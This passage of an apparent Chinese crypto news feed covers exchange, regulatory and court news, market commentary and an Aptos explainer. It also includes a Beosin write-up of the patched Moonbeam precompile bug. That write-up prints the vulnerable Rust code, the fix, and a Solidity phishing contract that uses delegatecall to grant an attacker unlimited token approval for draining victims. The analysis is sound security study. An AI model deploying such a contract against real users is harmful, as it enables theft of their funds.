此外，Clegg表示，Meta主要可以通过两种方式来变现元宇宙的投资：广告和电商。他还强调，该公司致力于让研究人员、民间组织和其他公司参与元宇宙的开发。 项目动态 公链Sui推出永久测试网，可在主网启动后继续运行 据官方博客，公链项目Sui Network宣布推出永久测试网，这是一个长期运行、去中心化和无需许可的测试网，与过去的Waves 1和Waves 2测试网不同，这个新的测试网即使在主网启动后也会继续运行。 该测试网有多个功能更新：1.动态验证者集：满足足够权益要求的候选验证者可以在epoch边界加入网络，活跃验证者可以在epoch边界离开网络。2.支持协议软件和Sui框架升级：测试网不会在每次软件更新时被删除，在任何计划中的软件更新或测试网上的数据删除之前，社区将得到适当的通知。3.可从数据库快照恢复全节点：节点操作人员可以利用检查点快速启动全节点，而不是等待全节点同步。4.地址和签名更新账户地址、对象ID和交易ID已从20字节升级到32字节，以防止哈希冲突；此外，Sui的默认哈希函数现在是Blake2b而不是SHA3，因为它的性能要高得多；为了支持广泛的交易规模，签名现在应用于哈希摘要而不是序列化的BCS数据，这使得Sui能够与硬件钱包兼容，硬件钱包的签名者api通常允许有限大小的输入。 此前3月22日消息，Sui Network表示，主网将于第二季度推出，尚无正式的空投计划。 Binance.US发言人称预计在24小时内恢复ACH存取款服务 据The Information报道，Binance.US发言人表示，Binance.US预计将在24小时内恢复Signature Bank的自动清算中心（ACH）存取款服务。根据Binance.US状态页面信息，Binance.US从3月23日报告Signature Bridge Bank的ACH存取款暂时无法使用，此状态目前尚未更新。 此前消息，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。 Coinbase首席法务官：尽管美国监管存在问题，但公司不会离开美国市场 据CoinDesk报道， Coinbase首席法务官Paul Grewal在采访时谈到了美国商品期货交易委员会(CFTC)对币安的诉讼。Grewal称：“CFTC已经付出了巨大努力来了解币安发生了什么，并在发现问题时采取行动。有很多问题需要解决。无论是CFTC还是SEC对数字资产拥有管辖权，只会给试图在美国运营的加密行业增加更多的困惑。这种情况突显出监管机构似乎无法就加密货币的监管框架达成一致。我们需要合理的规则来合理地定义这些术语，并为加密经济中的每个人，包括投资者和消费者，提供确定性和清晰度来做出决定。”Grewal表示，CFTC的指控最引人注目的地方在于，它“特别指出了一些数字资产是大宗商品”，且这些资产正被SEC和其他机构“贴上或暗示为证券”。 此外，Grewal称，“我们是一家美国公司”，总部位于加州，在特拉华州注册，在纽约获得比特币许可证，“我们哪儿也不去”，这与没有母国的币安的情况不同。 OKX：将把FTX和Alameda相关的1.57亿美元冻结资产移交给债权人 据美通社报道，欧易OKX宣布将向债权人移交约1.57亿美元的与FTX和Alameda相关的冻结资产，以回应今天在FTX破产程序中提交的动议。OKX表示，在2022年11月FTX崩盘前后，OKX调查并发现了与FTX和Alameda Research相关的资产和账户，随即采取行动冻结了这些账户和资产。 此外，OKX表示，将继续与FTX债权人和执法人员合作，希望这些资产最终能通过破产程序返还给FTX用户。 赵长鹏：已冻结代币上线过程中内部人士关联地址的200万美元 加密货币研究员FatMan发推称，链上数据链上数据揭示了币安代币上线过程中有关的内部人士“老鼠仓”活动。币安首席执行官赵长鹏对此回应称：“已经冻结与相关地址相关的200万美元（他们从未要求重新申领），一直在与潜在的泄漏等作斗争。” Paxful CEO：将向在Celsius Earn中损失资金的Paxful用户进行退款 比特币P2P市场Paxful首席执行官兼联合创始人Ray Youssef在推特上表示，其承诺将向在Celsius Earn中损失资金的Paxful用户进行退款。本周晚些时候，用户的Celsius资金将可以在其Paxful钱包中使用。 Youssef解释称：“去年，Celsius宣布他们申请破产，因此，用户无法在Paxful Earn中获取资金。Paxful和其他许多人一样，因为我们无法取回Celsius持有的资金而无法行动。另一个打击是，法院裁定Celsius Earn账户属于Celsius的破产财产，而不是其用户。我们对这一事很不舒服，比特币是一种财富保值工具，对许多人来说，这是他们未来所依赖的钱。为了得到用户信任，我们采取了该行动。” 路透社：SBF对贿赂中国当局等新的刑事指控不认罪 据路透社报道，FTX 创始人 SBF 预计对美国新的刑事指控表示不认罪，这些指控包括共谋违反竞选财务法和贿赂中国当局。此前，SBF 对八项欺诈和串谋指控表示不认罪，这些指控涉嫌窃取数十亿 FTX 客户资金以弥补其对冲基金 Alameda Research 的损失。一位知情人士告诉路透社，他还计划对新的 13 项指控表示不认罪。新的指控增加了 Bankman-Fried 的压力，如果他在定于 10 月 2 日开始的审判中被定罪，他可能面临数十年的监禁。 黑山法院驳回Do Kwon针对其拘留时间被延长的判决提起的上诉 据KBS NEWS报道，黑山波德戈里察法院驳回了Terraform Labs首席执行官Do Kwon对法院延长拘留时间的裁决提出的上诉。该法院解释了驳回Do Kwon上诉的原因，称“没有理由相信他没有逃跑的风险，因为他是一名仅暂时居住在黑山的外国人。” 此外，当地调查机关没收了Do Kwon持有的多本护照，其中部分护照姓名不同，没收理由是因为其被列入国际刑警红色通缉名单。法院补充称：“这意味着如果Do Kwon和他的同伙获释，他们可以随时轻松离开黑山。 此外，今日消息，黑山司法部部长表示，美国对Do Kwon的引渡要求早于韩国，但尚无法判断哪方优先；对此，韩国检方称其对Do Kwon的引渡要求早于美国。Terra联创Daniel Shin正出庭接受韩国法院对其逮捕令的审查。 Polygon：Polygon zkEVM不会单独发币，预计MATIC将用于其中的质押和治理 Polygon在其官方文档更新Polygon zkEVM相关的常见问题。其中指出，Polygon zkEVM主网将不会发行单独的代币，ETH 将用于支付网络gas费，预计未来MATIC将用于Polygon zkEVM中的质押和治理。 此外，由于Polygon zkEVM通过ERC-4337支持帐户抽象，这将允许用户使用任何代币支付费用。 The Information：Gemini寻求推出海外加密衍生品交易所 据The Information报道，加密交易所Gemini正寻求推出一个海外加密货币衍生品交易所。该平台将专门提供永续期货，这是一种在美国禁止向零售交易者提供的衍生品。由于这种合约没有到期日，而且可以使用高杠杆，因此被认为是一种高风险产品。知情人士透露，Gemini近几个月来一直在接触一些交易公司，希望它们担任海外交易所的做市商。随着FTX的破产以及币安面临CFTC起诉，其他公司有望在加密衍生品领域抢占市场份额。据此前消息，Coinbase正在推出一个离岸平台，以交易加密货币永续掉期。 知情人士：Coinbase计划继续在加拿大开展业务，币安或将退出加拿大 据CoinDesk报道，据知情人士透露，Coinbase正与监管机构讨论获得在加拿大继续开展业务的适当许可证。与此同时，另一位不愿透露姓名的知情人士表示，币安可能会退出加拿大。但币安的一位发言人表示，该交易所“尚未制定明确的计划”。此外，据知情人士透露，Crypto.com也计划留在加拿大。本月早些时候，OKEx宣布退出加拿大。Blockchain.com和Deribit也表示将退出加拿大市场，预计Kraken将很快就此事发表声明。2月22日，加拿大证券管理局（CSA）发布加密新规，要求交易所和其他平台必须遵守“加强的投资者保护承诺”，包括将加拿大客户的加密资产隔离保管、禁止向加拿大客户提供保证金或其他形式的杠杆交易以及禁止未经CSA许可出售稳定币。 Safe未申领空投的50%将重新分配至此前已领取者地址 Snapshot页面显示，数字资产管理平台Safe（原Gnosis Safe）治理社区SafeDAO关于未申领SAFE空投重新分配的提案SEP #5已于今日23:01时结束投票。根据投票结果，Safe 向用户空投中未申领代币SAFE中的一半（即超1610万枚）将按比例重新分配至此前已领取者地址。已领取者将总计可申领初始空投方案中约190.45%的SAFE。另一半超1610万枚未申领SAFE后续将由Safe DAO投票决定空投至何种Safe用户，例如用于空投至L2 Safe用户等方案。 融资消息 专注于人工智能的加密协议Fetch.ai完成4000万美元融资 据CoinDesk报道，专注于人工智能的加密协议Fetch.ai已从做市商和投资公司 DWF Labs 处筹集了 4000 万美元。Fetch.ai的目标是通过提供自主的机器对机器生态系统，为开发人员提供工具来部署应用程序并从中获利。该公司周三在一份声明中表示，Fetch 将利用这笔投资在其平台上部署去中心化机器学习、自主代理和网络基础设施。 重要数据 USDC本月净流出超过100亿美元，USDT市场份额创22个月新高 据CoinDesk报道，自3月10日监管机构关闭主要硅谷银行以来，USDC本月净流出已超过100亿美元。CoinGecko的数据显示，USDC目前仍然是第二大稳定币，市值约为330亿美元，但相比本月初（430亿美元）市值缩水约23%。与此同时，大量投资者转向了最大的稳定币USDT。DefiLlama的数据显示，自3月10日以来，USDT的市值增长了约80亿美元，达到797亿美元，占据了60%的稳定币市场份额，创2021年5月以来新高。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.30）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    预编译合约漏洞曾造成1亿美元损失，一文解析该漏洞的利用原理与实现过程
    撰文：Beosin 2022 年 5 月，白帽组织 pwning.eth 向 Moonbeam 提交了一个关于预编译合约的严重漏洞，该漏洞能使得攻击者任意转移他人资产，当时该漏洞所影响资金高达 1 亿美元。 据了解，该漏洞涉及对非标准以太坊预编译的调用。这些地址允许 EVM 通过智能合约访问 Moonbeam 的一些核心功能（如 XC-20、质押和民主 pallet），这些功能并不存在于基础的 EVM 中。通过 DELEGATECALL，一个恶意的智能合约可以回调访问另一方的预编译存储。 普通用户不会遇到这个问题，这需要他们主动向该恶意智能合约发送交易。然而，对于其他允许任意调用外部智能合约的智能合约来说（比如部分允许回调的智能合约），这是一个问题。在这些情况下，不法使用者能对 DEX 执行对恶意智能合约的调用，该智能合约将能够访问伪装 DEX 的预编译，并可能将合约中的余额转移到任何其他地址。 接下来跟着 Beosin 安全研究团队来看一下该漏洞的利用原理与实现过程。 什么是预编译合约？ 在 EVM 中，一份合约代码会被解释成一个个的指令并执行，在每条指令执行过程中，EVM 都会对执行条件进行检查，也就是 gas 费是否充足，若 gas 不足，则会抛出错误。 EVM 虚拟机在执行交易的过程中数据存储并不是基于寄存器，而是基于栈的操作，每次数据读写操作都必须从栈顶开始，所以导致其运行效率非常低，加上每一条指令都需要进行运行检查，那么在对一个相对复杂的运算进行执行时，可能需要大量的时间成本，而在区块链中，正需要很多这种复杂的运算，例如加密函数、哈希函数等，导致很多函数在 EVM 环境中执行是不现实的。 预编译合约便是 EVM 为了一些不适合在 EVM 中执行的较为复杂的库函数 ( 多用于加密、哈希等复杂运算 ) 而设计的一种折中方案，主要用于一些计算复杂但逻辑简单且调用频繁的一些函数或逻辑固定的合约。 部署预编译合约需要发起 EIP 提案，审核通过后将同步到各个客户端。例如以太坊实现的某些预编译合约：ercecover()（椭圆曲线公钥恢复，地址 0x1）、sha256hash()（Sha256Hash 计算，地址 0x2）、ripemd160hash()（Ripemd160Hash 计算，地址 0x3）等，这些函数都被设置成了一个固定的 gas 花费，而不用在调用过程中按照字节码进行 gas 计算，大大降低了时间成本与 gas 成本。并且由于预编译合约通常是在客户端用客户端代码实现，不需要使用 EVM，所以运行速度快。 关于 Moonbeam 项目漏洞 在 Moonbeam 项目中，Balance ERC-20 precompile 提供了一个 ERC-20 接口来处理 balance 的原生代币，合约可以使用 address.call 的方式对预编译合约进行调用，此处 address 为预编译地址，下列是 moonbeam 修复之前的代码预编译合约调用的代码。 fn execute(&self, handle: &mut impl PrecompileHandle) -> Option { match handle.code_address() { // Ethereum precompiles : a if a == hash(1) => Some(ECRecover::execute(handle)), a if a == hash(2) => Some(Sha256::execute(handle)), a if a == hash(3) => Some(Ripemd160::execute(handle)), a if a == hash(5) => Some(Modexp::execute(handle)), a if a == hash(4) => Some(Identity::execute(handle)), a if a == hash(6) => Some(Bn128Add::execute(handle)), a if a == hash(7) => Some(Bn128Mul::execute(handle)), a if a == hash(8) => Some(Bn128Pairing::execute(handle)), a if a == hash(9) => Some(Blake2F::execute(handle)), a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)), a if a == hash(1025) => Some(Dispatch::::execute(handle)), a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)), a if a == hash(2048) => Some(ParachainStakingWrapper::::execute(handle)), a if a == hash(2049) => Some(CrowdloanRewardsWrapper::::execute(handle)), a if a == hash(2050) => Some( Erc20BalancesPrecompile::::execute(handle), ), a if a == hash(2051) => Some(DemocracyWrapper::::execute(handle)), a if a == hash(2052) => Some(XtokensWrapper::::execute(handle)), a if a == hash(2053) => Some( RelayEncoderWrapper::::execute(handle) ), a if a == hash(2054) => Some(XcmTransactorWrapper::::execute(handle)), a if a == hash(2055) => Some(AuthorMappingWrapper::::execute(handle)), a if a == hash(2056) => Some(BatchPrecompile::::execute(handle)), // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::::new() .execute(handle) } // If the address matches asset prefix, the we route through the asset precompile set a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => { Erc20AssetsPrecompileSet::::new().execute(handle) } _ => None, } } 上述代码是由 Rust 语言实现的 moonbase 预编译合约集的执行方法（fn execute()），该方法会匹配调用的预编译合约地址，然后交由不同的预编译合约去处理输入的 data。执行方法传入的 handle（预编译交互句柄）包括了 call(call_data) 中的相关内容，以及交易上下文信息等。 因此当要调用 ERC20 预编译代币合约时，需通过 0x000...00802.call(fanction(type),parameter) 的方式（0x802=2050），便能调用 ERC20 预编译代币合约的相关函数。 但上述 moonbase 预编译合约集的执行方法存在一个问题，即未检查其他合约的调用方式。如果使用 delegatecall(call_data) 而不是 call(call_data) 的方式调用预编译合约及，便会出现问题。 接下来我们先看一下使用 delegatecall(call_data) 和 call(call_data) 的区别: 1.使用 EOA 账户在合约 A 中利用 address.call(call_data) 调用另一个合约 B 的函数时，执行环境是在合约 B 中，使用的调用者信息 (msg) 是合约 A，如下图。 2.利用 delegatecall 调用时，执行环境是在合约 A 中，使用的调用者信息 (msg) 是 EOA，而无法修改合约 B 中的存储数据。如下图。 无论通过什么方式调用，EOA 信息和合约 B 无法通过合约 A 绑定到一起，这使得合约之间的调用是安全的。 因此由于 moonbase 预编译合约集的执行方法（fn execute()）未检查调用的方式。那么当使用 delegatecall 去调用预编译合约，也会在预编译合约中去执行相关方法并写入预编译合约的存储中。即如下图所示，当 EOA 账户去调用了一个攻击者编写的恶意合约 A，A 中使用 delegatecall 的方式去调用了预编译合约 B。这将会在 A 和 B 中同时写入调用后的数据，实现钓鱼攻击。 漏洞利用过程 攻击者可以部署以下钓鱼合约，并通过钓鱼等方式诱使受害用户调用钓鱼函数 -uniswapV2Call，而函数会再次调用实现了 delegatecall(token_approve) 的 stealLater 函数。 根据上述介绍规则，攻击合约调用代币合约的 approve 函数授权（asset=0x000...00802），当用户调用 uniswapV2Call 之后，会在钓鱼合约和预编译合约的 storage 中同时写入授权，攻击者只用调用预编译合约的 transferfrom 函数便可将用户代币全部转移出去。 pragma solidity >=0.8.0; contract ExploitFlashSwap { address asset; address beneficiary; constructor(address _asset, address _beneficiary) { asset = _asset; beneficiary = _beneficiary; } function stealLater() external { (bool success,) = asset.delegatecall( abi.encodeWithSignature( "approve(address,uint256)", beneficiary, (uint256)(int256(-1)) ) ); require(success,"approve"); } function uniswapV2Call( address sender, uint amount0, uint amount1, bytes calldata data ) external { stealLater(); } } 随后开发者在 moonbase 预编译合约集的执行方法（fn execute()）中判断了 EVM 执行环境的地址是否和预编译地址一致，以确保只能使用 call() 方式对 0x000...00009 地址以后的预编译合约合约进行调用，项目方修复之后的代码如下： fn execute(&self, handle: &mut impl PrecompileHandle) -> Option { // Filter known precompile addresses except Ethereum officials if self.is_precompile(handle.code_address()) && handle.code_address() > hash(9) && handle.code_address() != handle.context().address { return Some(Err(revert( "cannot be called with DELEGATECALL or CALLCODE", ))); } match handle.code_address() { ...... 关于这个问题，Beosin 安全团队建议，项目方在项目开发过程中需要考虑到 delegatecall 和 call 的不同之处，被调用合约能通过 delegatecall 进行调用的，需要全方位思考其应用场景以及底层原理，做好严格的代码测试。建议在项目上线前，寻找专业的区块链审计公司进行全面的安全审计。  ( 4 min )
    路透社：SBF对贿赂中国当局等新的刑事指控不认罪
    PANews 3月30日消息，据路透社报道，FTX 创始人 SBF 预计对美国新的刑事指控表示不认罪，这些指控包括共谋违反竞选财务法和贿赂中国当局。此前，SBF 对八项欺诈和串谋指控表示不认罪，这些指控涉嫌窃取数十亿 FTX 客户资金以弥补其对冲基金 Alameda Research 的损失。一位知情人士告诉路透社，他还计划对新的 13 项指控表示不认罪。新的指控增加了 Bankman-Fried 的压力，如果他在定于 10 月 2 日开始的审判中被定罪，他可能面临数十年的监禁。  ( 1 min )
    从交易员的视角：复盘银行危机、美联储加息以来加密市场波动分析
    撰文：无为Be Water@crypto 自美联储22年3月开始加息以来，一年时间内从0利率加息至4.75%-5.00%，这样的快速加息节奏在过往也是很少见的。 在3月之前加息确实遏制了通胀的速度，并给美股、加密货币等风险资产带来较大负面冲击，然而在此次中小银行流动性危机出现之前，美联储尚未看到其他对经济的负面影响。而回看每一次加息，势必会有一定杀伤力（break something），而这个月接连爆出的中小银行的危机归根结底主要还是来自于美联储的持续加息。 对于银行来说，储户的储蓄是银行资产负债表中的负债；银行对外的投资或者发放的贷款是资产。从负债端来看，如果有持续的现金流出压力，或者有更高收益选择（加息下更高收益的国债），势必带来银行存款的流出，也就是银行负债端的偿债兑付。从资产端来看，对外的投资，例如MBS或者国债等投资品类，在整体加息环境下，市值持续下行，带来账上大量浮亏，如果再叠加现金流紧缺，而需要亏损卖出资产端持有的债券，导致资产缩水，势必带来更多储户的集中兑付。总结下来，加息同时影响到了银行的资产端和负债端。所有的银行都是加杠杆运行的，按照巴塞尔协议的资本充足率要求，最高可以有12.5倍的杠杆，任何一家现金流不足够的银行都不能幸免于兑付压力的难，于是带来了更大范围的中小银行bank run。 中小银行的流动性压力，再加上系统重要性银行瑞士信贷的危机，带来市场的普遍恐慌情绪，标普500在3月9日、10日连续跌破长期以来的200日支撑，直至3月12日美财政部、美联储、FDIC宣布紧急救助方案BTFP，才使得美股在13日开盘后重新回到支撑线附近。 在面对中小银行流动性压力，美联储确实是用实际行动支持了，下面两图分别是央行折现窗口的使用率和美联储资产负债表的变化。可以看到，在今年3月15日，折现窗口的使用率甚至超过了08年金融危机。而美联储资产负债表的变化，这里可以做个简单的算术题，去年4月开始美联储在加息的同时开始缩减资产负债表，对市场收紧流动性。在过去11个月时间里，从最高8.96万亿美元资产，压降到8.33万亿美元资产，共缩减了6258亿美元资产。而在3月7号至21号这短短两周时间里，又快速增加了3915亿美元资产。也就是说，美联储资产负债表在近一年的时间里收缩的规模，在不到2周时间里已经还回去一半多了。     为缓解中小型银行压力而新增释放的流动性，自然对资本市场造成了影响。在3月10号之后，加密货币、黄金、纳斯达克都对于新增释放的流动性做出正反馈。比特币更是快速突破前期2.5万美元的阻力位，最高升至$28937。在这段时间中，比特币更多凸显了避险资产的属性，在加密货币市值占有率突破43%高位，可以说是呈现了对小币种的吸血行情。 继续加息的鹰派论调和控制银行救助范围，带来风险资产的普遍回调 在市场普遍质疑加息带来金融稳定性问题的背景下，迎来了美联储3月份的FOMC会议。会前对于是否加息的概率几次显著变更，在2月份CPI释放之后，中小银行危机出现之前，利率掉期显示加息50bp的概率一度升至70%以上；而在中小银行危机出现之后，加息25bp或者不加息的概率猛增。此时，对于美联储来说是相对两难的抉择。如果单独考虑CPI增速，那大概率将继续加息50bp，同时带来金融市场流动性的进一步紧缩，可能会带来更多意料不到的危机事件发生。如果完全不加息，可能让市场猜测，是否有更大范围的挑战金融稳定性的危机尚未披露。直至3月22日，FOMC会议决议加息25bp，符合市场预期。然而，在此后的记者招待会上，鲍威尔主席的态度让市场情绪再次反转。当Powell提到，目前中小银行的流动性问题带来信贷收紧，实现了部分加息的作用时，市场还是认为偏鸽的。然而，很快鲍威尔强调全体票委一致认为今年没有减息的必要，叠加美财政部主席耶伦几乎同时发出了扩大存款保证近期可能性不大后，美股、比特币同频下跌。   后市预测 近日，技术面上，美股标普500回测200日均线支撑，呈现了高点逐渐走低的态势；消息面上，资本市场缺乏新的动能。加密货币市场方面，美国不断披露的监管消息，也影响了市场情绪，短期内震荡或回调的概率依然不小，还需更多时间和消息面的配合确认方向。 本文所载的全部内容仅作参考之用，不构成对任何人的投资建议。本文所载资料的来源被认为是可靠的，但不保证其准确性和完整性，也不保证所包含信息和建议不会发生任何变更，并且不对使用本文所包含的才材料产生的任何直接或间接损失或与此相关的其他任何损失承担任何责任。  ( 1 min )
    让Aptos成为新公链佼佼者的8大创新
    原文：《深入了解Aptos：为 Aptos 网络提供动力的 8 项创新》 Aptos 作为加密市场上延迟最低、吞吐量最高的区块链，为开发人员构建web3 最佳应用程序带来了极大的转变，为什么Aptos 生态可以实现蓬勃发展？能够为所有人提供流畅的体验？Aptos 网络发展的源动力是什么？本文将为你介绍Aptos 网络发展的8项源动力。 Aptos 上的Move 语言为开发人员提供了更好的开发条件，提高了开发效率。Move 是一种富有表现力且易于访问的编程语言，且专为安全资产管理而设计。 Aptos 区块链集成了 Move 语言，和 Move 共享许多相同的核心设计原则，使 Aptos 更便于成为高效、愉快的 Move 开发的地方。 Move最初是为Aptos区块链的前身设计的，这种关系确保现有的 Move 开发人员可以在 Aptos 上无缝构建，并且新的 Move 开发人员可以从 Aptos 之前的文档、指南和示例中受益。 Aptos 通过在语言和框架级别添加多项功能，大大改进了 Move 生态系统，即完善的安全架构、详细和可配置的 gas 计量、代码可升级性、资源帐户等。除此之外，Move Prover 是 Move 智能合约的正式验证者，它为合约不变量提供额外的保障，并在 Aptos 上得到积极扩展。 Aptos通过在语言和框架级别上添加多种特性，极大地改进了Move生态系统。即完善的安全架构，详细和可配置的燃气计量，代码可升级性，大规模表，资源帐户，等等。除此之外，Move验证器(Move智能合约的正式验证器)为合约不变量提供了额外的保障，并在Aptos中得到了积极的扩展。 许多Move语言最初的研究人员和开发人员仍然在Aptos生态系统中进行构建，增强了Move语言和社区，Move 语言经过四年的测试和证明是可以用于生产的开发语言。 Block-STM 是一种新的智能合约并行执行引擎，围绕 Aptos 的交易内存和乐观并发控制原则构建，这种新颖的交易并行化方法可以在不影响开发人员体验的情况下加快交易处理速度。 与需要读取/写入数据来破坏交易原子性的并行执行引擎不同，Block-STM 使开发人员能够不受限制地进行编码，并为实际用例实现更高的吞吐量和更低的延迟。开发人员可以使用 Block-STM 轻松构建高度并行化的应用程序， Block-STM 支持比其他通常需要将操作拆分为多个交易（破坏逻辑原子性）的并行执行环境更丰富的原子性，通过降低延迟和提高成本效率来增强用户体验。 为了支持真正去中心化和无需许可的layer1，Aptos 具有内置的链上治理，可实现无缝网络和虚拟机配置更改。Aptos激励测试网3和主网证明了这一点。 在主网上，这通过降低“投票权增加限制”提高了网络的可靠性，设置为更激进的阈值允许快速引导网络，超过52%的代币所有者投票支持这一提案，以帮助保护我们的网络。 自诞生以来，Aptos社区已经能够创建和投票的建议，影响Aptos区块链的行为。治理建议包括：跨epoch 持续时间进行更改，或者需要的最小值和允许的最大值验证者权益，修改标志，利用核心区块链代码的软件升级;以及升级到Aptos框架模块，一组核心库的移动开发者，修复bug或增强Aptos区块链功能。 AptosBFTv4 是第一个具有严格正确性证明的生产区块链 BFT 协议，该协议是乐观响应的，允许它提供低延迟和高吞吐量，充分利用底层网络。 在 Hotstuff 上进行改进，Aptosv4BFT 将提交延迟从 3 步减少到 2 步，在不牺牲通信补偿的情况下减少了 33% 的延迟。 在实施时考虑到安全严格性和可升级性，该实施清楚地分离了不变量以进行隔离和有效审计，从而强制执行不分叉的心态，相同的软件堆栈已经过 4 次升级，并在实时网络上进行了测试，证明了其开发过程的周到性和稳健性。在其第四次迭代中，AptosBFTv4 是最快的、生产就绪的拜占庭容错共识协议。 即使个人停机，Aptos 也能确保整个网络的正常运行时间，这是由链上信誉系统维护的，信誉系统将过去的可用性和性能视为未来的指标，这会自动将反应迟钝和表现不佳的验证者的负面影响降至最低。 Aptos 账户支持灵活的密钥管理，包括对密钥轮换、加密敏捷性和混合托管模型等功能的支持。密钥轮换通常是良好的使用习惯，并且对于防止甚至可以危及多方帐户的远程攻击很重要，在其他区块链上，只能通过将所有资产迁移到新帐户来进行轮换。账户与密钥解耦的方法使 Aptos 能够无缝添加新的数字签名算法以支持公钥和私钥类型，混合托管模型支持高级恢复解决方案和帐户管理，以帮助弥合 Web2 和 Web3 之间的差距。 钱包可以使用交易预执行在用户签名之前向用户解释交易结果，在签名之前评估交易可以减轻安全风险，例如网络钓鱼攻击，这在 Web3 中变得越来越普遍。为了进一步强化用户体验，Aptos 区块链限制了每笔交易的可行性，并通过三个保护领域——序列号、到期时间和链 ID 来保护签名者不受无限有效性的影响，以防止错误/攻击。 Aptos 共识协议和经过身份验证的存储实现了对轻客户端协议的无缝和实用支持，从而实现更安全和更值得信赖的用户体验。Aptos 网络公开欢迎任何人连接全节点以直接访问经过身份验证的数据，这强调了 Web3 的俗语“don’t trust, verify”。为此，Aptos 建立在一个高效的multicast 树结构之上，以提供一个高吞吐量、低延迟的网络，用于向参与者传播区块链状态。参与者可以处理自创世以来的所有交易，也可以完全跳过区块链历史并使用路径节点仅同步最新的区块链状态。轻客户端可以同步部分区块链状态，例如，特定账户或数据值，并启用经过验证的状态读取，例如，使用 BFT 时间戳获取经过验证的账户余额。 Aptos 具有可升级性的历史，从头开始，系统中的每个区域都以模块化和灵活性的初衷来设计。这使得 Aptos 架构能够支持频繁升级，这反过来意味着区块链可以快速采用最新的技术进步，并为新兴的用例提供技术支持。 Aptos 模块化架构设计创造了客户端灵活性，并针对零停机的频繁升级进行了优化——这些功能在之前的主网迭代、测试网和许多内部压力测试中得到了展示。Aptos 区块链包括嵌入式链上变更管理协议，可快速部署新技术创新并支持新的 Web3 用例。 在 Aptos 激励测试网 3 中，我们为节点运营商利用了基于投票的奖励系统。在这个模型中，一旦三分之二的选票到达提议者节点，BFT 下的共识就达成了，这意味着三分之一的后期投票没有被包括在内，并且他们的相关验证者没有得到奖励。 这可能会导致延迟竞争，并且靠近主节点集群的验证者往往会获得更多奖励。在这些情况下，节点运营者会将他们的节点移动到更靠近主集群的位置，以改善延迟，从而增加他们的质押奖励，这会损害权力下放和地理分布，因为它会激励共置。Aptos 现在已经实施了基于提案绩效的奖励作为我们的质押奖励系统，以促进更大程度的权力下放。 基于提案的系统比投票具有更高的超时时间，并且可以说对跨区域延迟不太敏感。这提高了更偏远地区节点的奖励率并抑制了地理分布的影响，例如，如果验证者不在物理上位于最大的节点集群中，他们将获得更少的奖励，奖励模式继续考虑投票行为，因为良好的投票绩效会影响提议者选举概率。 Aptos 使用 Jellyfish Merkle Tree (JMT) 设计，它利用单调递增的基于版本的密钥模式来优化基于 LSM 树的底层存储引擎（如 RocksDB）的写入。JMT 在 CPU、I/O 和存储占用空间之间达到了一个实用的最佳平衡点，确保了令人满意的性能，而磁盘上的膨胀状态数据的大小却难以处理。 除了 JMT 作为 Aptos 状态的持久化格式外，它还有另一种内存中、无锁的稀疏 Merkle 树实现，这是专门为缓存和并行化量身定制的，与 Block-STM 一起使用以促进高性能全局状态更新。 有关 Aptos 创新的更多详细信息或更好地了解区块链的技术愿景，请查看 Aptos 白皮书，点击Aptos.dev，立即参与开发。  ( 2 min )
    Ronin区块链进行技术升级并扩展新的游戏IP以纪念超6亿美元黑客事件周年
    PANews 3月30日消息，Axie Infinity的Ronin区块链进行了技术升级，并扩展了新的游戏IP。这项升级旨在提高交易速度和降低费用。升级后该链将从“授权证明（proof-of-authority）”转变为“委托权益证明(delegated proof-of-stake)”。此外，RON 质押功能上线，验证者必须在 4 月 12 日之前设置他们的节点。这项升级是为了纪念去年发生的 6.25 亿美元黑客事件周年。目前在Ronin上开发游戏的新IP团队包括Tribes Studio、Bali Games、Directive Games、The Machines Arena和Bowled.io等游戏团队。这些工作室的员工来自DICE、LucasArts、Square Enix和Ubisoft以及其他AAA游戏制造商。 相关阅读：损失超6.1亿美元——Ronin Network被黑分析  ( 1 min )
    盘点15个免费且实用的Alpha信息渠道
    作者：Hoeem 编译：Biteye 核心贡献者 Crush 在加密圈子中，信息的获取往往是投资的关键。好的信息渠道，人们常常称之为 Alpha 信息渠道。那这些财富密码都是在哪里找到的呢？今天这篇文章，就来给大家介绍 15 个不能错过的 Alpha 信息渠道。 这些信息渠道都是免费的，并且我会附上一小段介绍，来说明它的价值所在。废话不多说，下面让我们直接开始！ 01、The Daily Degen The Daily Degen ( @thedailydegenhq ) 是由推特用户 @rektdiomedes 负责撰写。 这个频道主要涵盖了 Crypto 新闻、数据、DeFi 警报和宏观方面的每日概要。 订阅地址： https://thedailydegen.substack.com 02、Linn's Leverage Linn's Leverage 由推特用户 @crypto_linn 负责撰写。Linn 会为你带来一些 Alpha、宏观，或者是介于两者之间的一切内容。 订阅地址： https://linns.substack.com 03、Another Day in Crypto 由 @DAdvisoor 撰写，经常会收集一些网络上的加密内容，并且保持稳定持续的更新。 订阅地址： https://defiadvisoor.substack.com 04、Seven c Newsletter Seven c Newsletter 是由我本人所撰写，我会为订阅者带来每周加密新闻总结、Alpha 消息聚合以及一些技术方面的内容。 立即订阅： https://sevenc.substack.com 05、The Daily Bot The Daily Bot 由 @ReveloIntel 团队在撰写，为订阅者带来每日日报，主要包括以下内容：不同的加密博客/社区电话会议总结，协议发展的重大事件时间线、行业总体情况介绍、分析、总结以及经济模型发展上的分析。 订阅链接： http://revelointel.substack.com 06、Dynamo DeFi Newsletter 由 @Dynamo_Patrick 撰写的 Dynamo DeFi Newsletter， 将为订阅者带来链上指标、推荐阅读、加密工具等每周亮点。 订阅地址： https://dynamodefi.substack.com 07、The Gems Corner The Gems Corner 由 @ViktorDefi 撰写，通常会发布一些 GEM（潜力很高的加密项目）以及 DeFi 方面的深度见解。 订阅地址： https://viktordefi.substack.com 08、Extensive Vision Extensive Vision 由 @IamZeroIka 撰写，一份试图改变加密圈子游戏规则的消息频道，带来加密指南、基本面分析、新闻、概述以及一些理性思考。 订阅地址： https://extensivevision.substack.com 09、The Optimistic Newsletter Optimistic Newsletter 是由 @Subli_Defi 